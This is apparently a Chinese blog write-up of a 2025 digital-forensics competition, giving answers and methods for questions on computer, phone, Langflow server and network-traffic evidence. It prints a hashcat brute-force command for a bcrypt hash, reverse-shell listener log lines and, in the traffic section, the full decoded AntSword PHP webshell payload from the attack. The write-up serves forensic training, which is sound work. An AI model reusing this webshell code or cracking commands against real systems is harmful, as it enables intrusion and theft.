Xiaohao's Blog

总体来讲感觉中规中矩,变化不大。取证就是这样,多刷题具备经验+熟练度,判断一些线索的逻辑就很自然。

容器密码

!fR7$pX3&zT9@kL5*wV1#sG7%qD3^yA9(mB2)jN6~hY4+gC8dW2=eK5;fX7?vM3[oL9]tR4}uS1<yJ5>iP8_bH3:zD6"nQ2'pF4lA7|sC1\wE9/rT3=vY6

计算机取证

1、请分析计算机检材,⽤⼾曾远程连接过IP为192.168.114.51的主机,其远程登陆密码为多少?(答案格式:按实际值填写)

uika

2、请分析计算机检材,发现嫌疑⼈有⼀定的密码构造习惯,依据其密码使⽤习惯找出嫌疑⼈购买拷⻉的公⺠信息表格的密码。(答案格式:按实际值填写)

Doloris@0721

表格很明显是刚买到的一会处理.xlsx,尝试解密,有密码提示:我的常用密码之一

chrome的常用密码可以看出来密码的格式是Doloris@?d?d?d?d,passwarekit爆破一下即可。

得到密码为Doloris@0721

3、请分析计算机检材,其中有⼀模拟器备份⽂件,请找出⽤⼾常⽤笔记app锁定密码是多少?(答案格式:按实际值填写)

20180818

把apk拿出来,用雷电hook



因此密码为20180818

4、接上题,app中记录了保险箱密码,该密码是?(答案格式:按实际值填写)

20250228

先看手机里面有个记事本洁净版备份,拿出来看数据库,看到:

这里还有一张图片,放在content://com.mhh.daytimeplay.fileprovider/external_files/KUAIJI/Cache/.img/m_1749394222246.kjs,对应的路径/storage/emulated/0/KUAIJI/Cache/.img/m_1759585557051.kjs,找到这个文件,010看是png的文件头,转png之后发现是二维码,整个cache文件夹有两个二维码
粉色的那个补全一下扫描得到:

解压密码:KFCVme50
保险箱密码:我的模拟器被勒索的时间【格式:20251001】

模拟器被勒索的时间在笔记中记录了,时间是20250228。

5、请分析模拟器备份,内部转账银⾏卡号是多少?(答案格式:16位数字)

6214861219932969

直接用密码打开保险箱软件,发现这个银行卡号对应的这个数据库文件没有了:

直接在文件管理器里爆搜,实际上应该是把这个文件移走了,重新放回去即可

6、分析计算机检材, 嫌疑⼈通过换脸软件⼀共⽣成了⼏张图⽚?(答案格式:仅数字)

5

换脸软件相关的文件在Document下,output文件夹中5张照片

7、接上题,嫌疑⼈使⽤换脸软件过程中,选择次数最多的源图⽚名称?(答案格式:包含后缀,如abc123.jpg)

862281175ea6405abda7f2c9c6934ea7.png

看.job文件夹,complete文件夹下有存放了任务的配置文件,其中source_paths字段储存了源图片的信息,最多的是862281175ea6405abda7f2c9c6934ea7.png,使用了两次。

8、接上题, 嫌疑⼈使⽤换脸软件过程中,⼀共尝试了⼏种换脸模型?(答案格式:仅数字)

3

还是上题的json文件中,”face_swapper_model”字段,3种

9、请分析计算机检材,嫌疑⼈有⼀个密码管理软件,记录了备⽤机密码,请找到该密码。(答案格式:按实际值填写)

22E4828017

用户文件夹下的文档中有一个keepass文件,密码在kp.txt里面,16161616,解开拿到备用机密码22E4828017。

10、请分析计算机检材,找出⽂件MD5哈希值为d58c3e31ec6eaecb9026af9821dad645的⽂件,写出其⽂件名。(答案格式:包含后缀,如abc.exe)

index.4682354987edf.js

桌面上有一个memdump.mem,结合vhd使用了Bitlocker加密,用EFDD解出恢复密钥:373593-428351-679151-463199-488510-484781-386199-578534

最终的这个hash对应的文件就在Bitlocker加密的容器里面

11、请分析计算机检材,找出虚拟硬盘内隐藏的VC容器,并使⽤公⺠信息表格中⾝份证号为明显伪造者的地址解密,回答该容器中包含多少个⽂件(答案格式:仅数字)

4

上题拿到的index.4682354987edf.js这个文件,后缀是js,但是文件大小2MB,也看不见明文,考虑是VC容器,根据提示找出不符合校验规则的身份证号的地址作为密码挂载。

3700001977060623965这个有19位,很明显不对,所以密码是山东省济南市历下区经十路200号
挂载后4个文件。

12、对计算机检材进⾏分析,其中有个NAS存储,对NAS磁盘分析,找出姓名为“谢妍尚”的⼿机号。(答案格式:11位数字)

15743275550

RAID重组,document文件夹中有一个FNOS的文件夹,存了4个e01镜像
简单的,UFS直接找就行

xlsx表格中的sheet3可以找到手机号

移动终端取证

13、分析⼿机检材,检材的MEID号是多少?(答案格式:14位数字)

99001844373347

14、⼿机备忘录软件⾥有⼀串压缩包解密密码,请问密码是多少?(答案格式:按照实际填写)

xinglo-chat

直接搜索包名是note的包,有三个,一个一个翻数据库

在这里找到/data/user/0/com.nhstudio.inote/databases/inotes.db

同时这个笔记里面还有一个加密脚本:

unit AESDecrypt;

interface

uses
Windows, SysUtils, Classes, IdCoder, IdCoder3to4, IdCrypt, IdCryptAES;

function DecryptAES(const Ciphertext, Key, IV: string): string;

implementation

function DecryptAES(const Ciphertext, Key, IV: string): string;
var
AES: TIdAES;
Decoder: TIdBase64Decoder;
Input, Output, KeyBytes, IVBytes: TBytes;
InputStream, OutputStream: TStringStream;
begin
Decoder := TIdBase64Decoder.Create(nil);
InputStream := TStringStream.Create(Ciphertext);
OutputStream := TStringStream.Create('');
try
Decoder.InputStream := InputStream;
Decoder.OutputStream := OutputStream;
Decoder.Decode;
Input := OutputStream.Bytes;
finally
Decoder.Free;
InputStream.Free;
OutputStream.Free;
end;

KeyBytes := TEncoding.UTF8.GetBytes(Key);
IVBytes := TEncoding.UTF8.GetBytes(IV);

AES := TIdAES.Create(nil);
try
AES.BlockSize := 128;
AES.KeySize := 128;
AES.Mode := cmCBC;
AES.Padding := padPKCS7;
AES.Key := KeyBytes;
AES.IV := IVBytes;

SetLength(Output, Length(Input));
AES.DecryptBuffer(Output[0], Input[0], Length(Input));

Result := TEncoding.UTF8.GetString(Output);
finally
AES.Free;
end;
end;

procedure TestDecrypt;
var
Ciphertext, Key, IV, Plaintext: string;
begin
Ciphertext := ''; '等待传参
Key := 'XingLuoChat2024!';
IV := '1234567890abcdef';
Plaintext := DecryptAES(Ciphertext, Key, IV);
ShowMessage(Plaintext);
end;

end.

用的AES-CBC, Key = 'XingLuoChat2024!' ,IV = '1234567890abcdef'

同时另外一个笔记软件里面也有信息:
/data/user/0/journal.notebook.memoir.write.diary/databases/diaryDB

15、⼿机曾安装过⼀个⼩众聊天软件,分析其APP的包名为?(答案格式:com.tencent.mm)

com.xinglo.chat

16、⼩众聊天软件官⽹Email地址疑似被加密,请找出解密密钥(Key)为?(答案格式:与线索保持⼀致)

XingLuoChat2024!

聊天软件里面cache文件夹有一个html,/data/user/0/com.xinglo.chat/cache/5f4dcc3b5aa765d61d8327deb882cf99e65b54105e624b54da84e38418d9a53找到隐藏内容

就是第十四题找到的那个密钥,XingLuoChat2024!

17、接上题,请分析⼩众聊天软件官⽹的Email地址为?(答案格式:abc@qq.com

support@xingluochat.com

接上题,上题解出来了

18、在本案件中,张明向王芳已⽀付的总⾦额为多少元?(答案格式:仅数字)

780000

看聊天软件的数据库,先看一下每一个uid对应的是哪个人:

那么就是筛选李伟和王芳,uid分别是uid_8721,uid_6103

select * from chat_logs where sender_uid = 'uid_8721' or sender_uid = 'uid_6103'

根据聊天记录去判断即可,注意的是最后的一笔25万没有支付,一共是5+8+12+18+13+22=78万

19、李伟在⾮⼯作时间(18:00-次⽇8:00)向王芳发送的加密⽂件数量占其向王芳发送的所有加密⽂件数量的百分⽐为多少?(答案格式:10%,四舍五⼊)

50%

筛选张明发送的信息:

select * from chat_logs where sender_uid = 'uid_8721'

所有的文件都在这里了,看时间算占比即可。一共发送了4个加密文件,2个在非工作时间。

20、分析⼿机检材,检材中的记账app是通过应⽤市场APP安装的,该应⽤市场的包名是?(答案格式:com.xiaomi.gamecenter)

com.wandoujia.phoenix2

记账软件是记账鸭com.denglin.duck,直接爆搜包含com.denglin.duck名字.apk结尾的文件,找到安装包。路径里面找到下载这个软件的路径com.wandoujia.phoenix2,这个是豌豆荚

21、分析⼿机检材,检材中的记账app安装包MD5为?(答案格式:32位字符,字⺟请⼤写)

003E9C929ADF12A56770DC5D9C5109A6

上题的安装包,直接算MD5

22、分析⼿机检材,嫌疑⼈记账APP中的⽀出项⼀共有⼏个分类?(答案格式:仅数字)

2

这个题目挺迷的,记账app的数据库有很多表都记录的支出项,这里的意思应该是在支出项表中并且嫌疑人有实际账单记录的支出项有几个。

拿到记账软件的数据库/data/user/0/com.denglin.duck/databases/duck.db
首先BILL表:

CATEGROY表:

根据CATEGROY_ID字段去对比有几个即可。或者写sql列联表,最终应该是2个

23、分析⼿机检材,最终张总给了嫌疑⼈多少钱?(答案格式:100万)

15万

上题BILL表中可以看出,定金+尾款一共15万。

24、分析⼿机检材,检材中的记账app的隐私密码是什么?(答案格式:按实际值填写)

0410

涉及逆向apk找加密逻辑。

服务器取证

受害⼈搭建了⼀套AI模型⽹站对外提供交流服务,某天服务器遭遇⿊客⼊侵,经排查⿊客利⽤AI框架漏洞渗透进⼊服务器,⽽后建⽴持久化登录⻓期登录作案,请根据服务器检材,回答以下问题:

25、AI服务的对外端⼝是多少?(答案格式:仅数字)

7860

/home/longflow下面文件比较可疑,看起来像一个比较完整的项目。
看.env文件找到配置的端口号。

同时ps auxwww看不到这个进程,服务是没启动的。找到github的项目地址:https://github.com/langflow-ai/langflow
uv run langflow run可以直接启动

26、当前AI服务共有多少普通⽤⼾?(答案格式:仅数字)

8

看.env配置文件,数据库的配置是被注释掉的,应该是没有配置链接的数据库,但是在/root/.cache/langflow/langflow.db找到了数据库。
一个9个用户,1个superuser,8个普通用户

27、已知管理员密码是xxxx@2025,x为⼩写字⺟,AI服务的管理员明⽂密码是多少?(答案格式:按实际值填写)

sszb@2025

也在上题的数据库中:$2b$12$B/A757s9z/N2ESVYYRKtROPvcyqmnqswWfpbeM1oCDqV1myumc9Q2一个bcrypt哈希,使用hashcat爆破即可

hashcat.exe -m 3200 -a 3 hash.txt ?l?l?l?l@2025


密码是sszb@2025

28、AI服务的对话历史中某个⽤⼾上传了⼀个⽂件,该⽂件sha256后⼋位是多少?(答案格式:字⺟⼤写)

B2D10252

一样还是可以在数据库中找到相关信息,上传了一个png文件,这个文件一样可以在/root/.cache/langflow里面找到,计算sha256即可

29、已知⿊客攻击了AI服务器获取了权限,该⿊客利⽤了哪个接⼝uri进⾏攻击的?(答案格式:/api/some/path)

/api/v1/validate/code

上题的图片里直接写了,/api/v1/validate/code

30、已知⿊客攻击了AI服务器获取了权限,请问⿊客反弹shell的连接的端⼝是多少?(答案格式:80)

7788

考虑查找日志文件,主要的日志文件有/home/langflow/nohup.out/root/.cache/langflow/langflow.log,其中nohup.out记录了命令行日志,优先考虑这个日志,在这个文件里面可以找到nc启动的命令:

- listening on [any] 7788 ...
- connect to [172.23.194.157] from (UNKNOWN) [172.23.194.1] 24192

31、⿊客通过ssh登录服务器所⽤的ip是多少?(格式:192.168.1.1)

172.23.194.110

看/var/log/auth.log即可,里面一共就两个ip登录成功,考虑是较晚登录的ip


或者去看后面有一个使用公钥登录的记录·:

Nov 14 09:54:34 yxtserver sshd[2696]: Accepted publickey for root from 172.23.194.110 port 7855 ssh2: RSA SHA256:yyZ5xzIVshDvpVR4uqTDqye+zcdJkZbHw3V1Gmamm1I

去计算一下/root/.ssh/authorized_keys下面哪个公钥对应的sha256是这个即可,最终是这个公钥对应这个hash,名字是nobody@Nobody,是最可能的。

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDuFTpWsz8GDBF/8rICpRO9E33kPymrfuuIWrJzGqq1Nha91uToGiJU+Ogg6dv1XAljAnOCb9qAtlxJG8YIq/3VzDW15D9aBiqFC8I+kGNsF2C4viRT80h0DTrAgQlhwd5lsw02UXdZnKoca2rP9398VAC2gRAlWIoP6tm/HuVb4MKBkRCdXKUsJemWTU69xtCIpCM+Xkcbn3/5tStkug6GpjuBQFWQ2IWHhrbIiQBIEW/CsWgwPWA8XdceT9Pef6w3zFxbr2RCLB1C5FDB+3AB1l8pSIVOZ+9t5qq5Kve8V14p895II6PaEJ8ZofK7ro3sgdjlsas1z7h56DsgRTP5MZIVsAkNnVV+6LIxN8vd+lwamnNiOBHFnkmZ5/JDHH5pWxy8B2oqJAIrL1NtB4Ql0ahcD9s+2Ocrz1VBg0VR9TYZgTGb9rvwGDV/gjQg+lG2dODUP4HCSLMdrHZEgKw2twXnkW6LdxcHTYRdOTd0bxABnsHZCDRJV0EvZrBMkZk= nobody@Nobody

32、已知⿊客⼊侵服务器后植⼊了⼀个隐藏⽂件,该程序的全路径(包括扩展名)为?(答案格式:/path/to/a.ext)

/usr/lib/modules/5.15.0-161-generic/extra/file_hider.ko

auth.log中可以看到很明显这样一条日志:

Nov 14 09:28:41 yxtserver sudo:     root : TTY=pts/0 ; PWD=/usr/lib/modules/5.15.0-161-generic/extra ; USER=root ; COMMAND=/usr/sbin/insmod file_hider.ko

root通过sudo执行了/usr/sbin/insmod file_hider.ko这样一个内核模块,不是正常操作应该出现的,大概率是后门文件

⽹络流量分析

39、被攻击ip开放了多少个端⼝?(答案格式:仅数字)

6

筛选所有post包,http.request.method == POST,服务器是10.0.0.68,别的不谈,发现大量爆破流量,那么这个服务器肯定是被攻击的机器

进一步筛选ip.dst==10.0.0.68,实际上可以发现前面是对被攻击机进行端口扫描的

导出筛选一下,去掉扫描的流量一共7个端口

但是其实做到后面会发现这里不能算4444,实际上这个是shell开出来的端口,题目意思应该是扫描出来的端口数量,这里应该是6个。

40、攻击者攻击的站点是什么内容管理系统?(答案格式:字⺟⼩写)

seacms

登录进去之后,看返回包的最下面有一个seacms

41、攻击者通过暴⼒破解获取到的⽤⼾账号的密码是多少?(答案格式:按实际值填写)

cslab

筛选post包之后最后一条登录的密码,为cslab

42、攻击者上传的恶意⽂件MD5值为多少?(答案格式:字⺟⼤写)

4A5D7DB9CDFBBE9EF6BE58ADD2DD7D43

攻击者先是利用sql语句的漏洞写了个一句话木马上去,根据后面通讯的post包,木马名字叫notify.php

然后用蚁剑来连接的,iniset特征很明显。这个后面也有问到

木马本体:

@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.36c4a8f6";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "e2"."250";echo @asenc($output);echo "b55a"."5519";}ob_start();try{$D=base64_decode(substr($_POST["zede6cf281c7ae"],2));$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="	".$T."	".@filesize($P)."	".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

关键在这里:
substr($_POST["zede6cf281c7ae"],2)
去掉zede6cf281c7ae的前两位,之后base64即可看到执行的命令

看到这个有一个exe

后面还跟着一个参数,很明显是exe文件

导出计算hash即可,md5:4A5D7DB9CDFBBE9EF6BE58ADD2DD7D43

43、攻击者使⽤蚁剑执⾏的最后⼀条命令是什么?(答案格式:按实际值填写)

cd /d “C:/WWW/data/admin”&zhengxiang.exe

实际上这里解出来是cd /d "C:/WWW/data/admin"&zhengxiang.exe&echo aae855ae69&cd&echo c39d656dc7b对于蚁剑来说echo属于混淆,所以不能算在执行的命令里面

44、通过流量分析可知,攻击者最终采⽤何种标准远控载荷类型,以维持正向连接Shell?

windows/x64/shell/bind_tcp

刚刚提取出来的exe下载之后火绒直接报毒了,丢云沙箱:

识别为msf木马,文件类型
PE32+ executable (GUI) x86-64, for MS Windows,这个文件格式对应的是windows/x64

去看相关的tcp流量也可以看到shell端口是受害机的4444端口,攻击者是正向连接的。

根据流量判断是执行了命令,同时还可以看到本体有“cmd”的特征,那么木马类型应该是shell。综合一下,那么这个msf马类型就是windows/x64/shell/bind_tcp

文章作者: Xiaohao

文章链接: https://blog.enxiaohao.cn/posts/Forensics/2025szpersonalwp/

版权声明:除另有声明外,本博客文章均采用 CC BY-NC-SA 4.0 许可协议。转载请注明原作者与文章出处。

2026DesCTF WriteUp Misc部分 «
上一篇 «
» 原理向:域渗透的一些知识学习总结
» 下一篇